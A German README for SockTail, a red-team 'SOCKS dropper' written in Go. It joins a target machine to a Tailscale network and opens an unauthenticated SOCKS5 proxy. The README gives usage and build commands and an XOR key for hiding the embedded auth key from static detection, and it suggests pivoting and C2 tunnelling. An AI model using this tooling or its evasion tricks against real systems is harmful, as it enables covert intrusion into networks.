SockTail

SockTail ist ein kleines Binary, das ein Gerät mit einem Tailscale-Netzwerk verbindet und einen lokalen SOCKS5-Proxy auf Port 1080 bereitstellt. Es ist für Red-Team-Operationen gedacht, bei denen Sie Netzwerkzugriff auf ein Zielsystem benötigen, ohne komplizierte Port-Weiterleitungen, dauerhafte Dienste oder laute Tunnel einrichten zu müssen.

Funktionen

• SOCKS5-Proxy auf Port 1080 über Tailscale
• Unterstützt IPv4-, IPv6- und Domain-Adressen
• Tailscale-Beitritt über tsnet, keine externen Abhängigkeiten
• Auth-Key kann fest codiert (XOR-verschleiert zur Umgehung statischer Analysen) oder zur Laufzeit bereitgestellt werden
• Vollständig eigenständig, keine Konfigurationsdateien oder (Festplatten-Schreibvorgänge)

Dies ist nicht für Persistenz gedacht. Es ist ein einmaliger SOCKS-Dropper für Red-Team-Operationen.

Bildnachweis: „The SOCKS We Have at Home“ von TrustedSec – danke für die Memes.

Verwendung

Verwendung: ./SockTail [hostname] [authkey] [control-url]

  hostname:    Optional. Wird automatisch generiert, falls nicht angegeben
  authkey:     Optional. Verwendet eingebetteten Schlüssel, falls nicht angegeben
  control-url: Optional. Verwendet Tailscale-Standard oder Build-Zeit-URL, falls nicht angegeben
  port:        Fest auf 1080

Beispiele:
  ./SockTail
    - Automatischer Hostname, eingebetteter Schlüssel, Standard-Control-Server

  ./SockTail vpn-srv-01
    - Benutzerdefinierter Hostname, eingebetteter Schlüssel, Standard-Control-Server

  ./SockTail shellbox-7 tskey-auth-1fXXXXXXXXXXXXXXXXXXXXXXXXXX
    - Benutzerdefinierter Hostname und Laufzeit-Auth-Key, Standard-Control-Server

  ./SockTail my-proxy tskey-auth-1fXXXXXXXXXXXXXXXXXXXXXXXXXX https://headscale.example.com
    - Alles benutzerdefiniert: Hostname, Auth-Key und Control-Server (z. B. Headscale)

Funktionsweise

1. Beim Start erstellt SockTail einen tsnet.Server unter Verwendung des bereitgestellten (oder eingebetteten) Tailscale-Auth-Keys und Hostnamens.
2. Es tritt dem Tailnet bei und beginnt auf localhost:1080 zu lauschen.
3. Die SOCKS5-Aushandlung erfolgt ohne Authentifizierung (Standard-Methode NO_AUTH).
4. Alle CONNECT-Anfragen (IPv4, IPv6, Domain) werden akzeptiert und über tsnet.Dial weitergeleitet.
5. Daten werden bidirektional weitergeleitet, bis die Verbindung geschlossen wird.

Es gibt keine Persistenz. Sobald das Binary beendet wird, wird die Verbindung zu Ihrem Tailnet getrennt.

Verschleierung

Das Projekt enthält eine XOR-basierte Verschleierung für den AuthKey, um statische Erkennungen zu umgehen. Sie können Ihren Auth-Key zur Build-Zeit mit Compiler-Flags einbetten – keine manuelle Bearbeitung erforderlich!

var xorKey = []byte("747sg^8N0$")

Der Schlüssel wird während des Build-Prozesses automatisch XOR-verschleiert und eingebettet, wenn kein Schlüssel über die Kommandozeile übergeben wird.

Build

Geschrieben in Go, keine externen Abhängigkeiten:

# Mit eingebettetem Fallback-Schlüssel bauen
make build

# Mit Ihrem benutzerdefinierten Auth-Key bauen (empfohlen)
make build-with-key AUTH_KEY=tskey-auth-client-xxxxx-your-key

# Mit benutzerdefiniertem Auth-Key und Control-Server bauen (für Headscale usw.)
make build-with-config AUTH_KEY=tskey-auth-client-xxxxx-your-key CONTROL_URL=https://headscale.example.com

# Für alle Plattformen mit Ihrem Schlüssel bauen
make build-all-with-key AUTH_KEY=tskey-auth-client-xxxxx-your-key

# Für alle Plattformen mit benutzerdefiniertem Control-Server bauen
make build-all-with-config AUTH_KEY=tskey-auth-client-xxxxx-your-key CONTROL_URL=https://headscale.example.com

Das Build-System verschleiert Ihren Auth-Key automatisch mit XOR und bettet sowohl den Schlüssel als auch die Control-URL zur Kompilierzeit ein – keine manuelle Quelltextbearbeitung erforderlich!

Benutzerdefinierte Control-Server: Perfekt für selbst gehostete Tailscale-Lösungen wie Headscale. Geben Sie einfach Ihre Control-Server-URL und den entsprechenden Auth-Key für diese Instanz an.

Hinweise

• Der Datenverkehr ist Ende-zu-Ende über Tailscale/WireGuard verschlüsselt.
• Sie können dies nutzen, um in ein Netzwerk zu pivoten, C2 zu tunneln oder auf interne Dienste zuzugreifen, ohne Ports extern freizugeben.
• Tailscale-ACLs gelten weiterhin. Stellen Sie sicher, dass Ihr Tailnet den korrekten Zugriff auf den und vom SockTail-Knoten erlaubt.